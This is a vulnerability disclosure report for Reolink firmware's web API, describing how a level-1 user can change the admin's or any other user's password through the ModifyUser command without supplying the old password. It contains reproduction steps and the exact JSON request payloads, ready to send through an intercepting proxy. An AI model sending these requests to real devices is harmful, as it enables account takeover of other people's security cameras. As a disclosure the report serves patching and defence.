Vulnerability title: Improper Authorization Allows Arbitrary User Password Modification
Date of discovery: 2025.07.05
Discovery Location (URL or System Path) :
Reolink Firmware Web ( Cmd → ModifyUser )
Vulnerability Type (CWE ID):
Vulnerability Description:
In principle, users with level1 privileges should be able to modify only the password of the level0 privileged account. However, the server does not properly verify the userName parameter passed from the client, and the oldPassword parameter is used for verification only when changing the password for your account.
This creates a vulnerability where an attacker can specify an arbitrary userName value, changing the passwords of all users without additional verification.
Impacted Products/Services: Reolink Firmware Web
Product version: firmware v3.0.0.4662_2503122283
Vulnerable Components:
In the user password modification logic of the Reolink firmware API, server-side authorization verification is insufficient for the userName parameters delivered by the client,
The oldPassword parameter is only used for verification when changing your account password, allowing unauthorized users to modify other users' passwords without separate verification.
Account Privilege Levels:

level 2
admin account provided by Reolink.level 1
userType: Administrator, the new account gets level 1.level 0
userType: User, it is assigned level 0.Attack Vector

As shown in the photo above, level1 privileged users can modify only the password for level0 privileged accounts by default.
However, if an attacker enters another user's ID in the userName parameter, regardless of permission, when requesting to change the password,
The server processes the request without validating it properly, allowing level1 privileged users to change their passwords.
(Oldpassword is used only when you use your own password.)
Reproduction Steps
level 1 privileges.ModifyUser request using a proxy tool such as Burp Suite.[
{
"cmd": "ModifyUser",
"action": 0,
"param": {
"User": {
"userName": "1234",
"newPassword": "1111Qwer!",
"oldPassword": ""
}
}
}
]
By intercepting the request, you can check the following request values.
At this time, modify the above value to the ID value of another user except for the ID of your account as follows.
(In order to change the password of your account, the value of oldPassword is required.)
[
{
"cmd": "ModifyUser",
"action": 0,
"param": {
"User": {
"userName": "admin",
"newPassword": "4444Qwer!",
"oldPassword": ""
}
}
}
]
[
{
"cmd": "ModifyUser",
"action": 0,
"param": {
"User": {
"userName": "admin",
"newPassword": "4444Qwer!",
"oldPassword": ""
}
}
}
]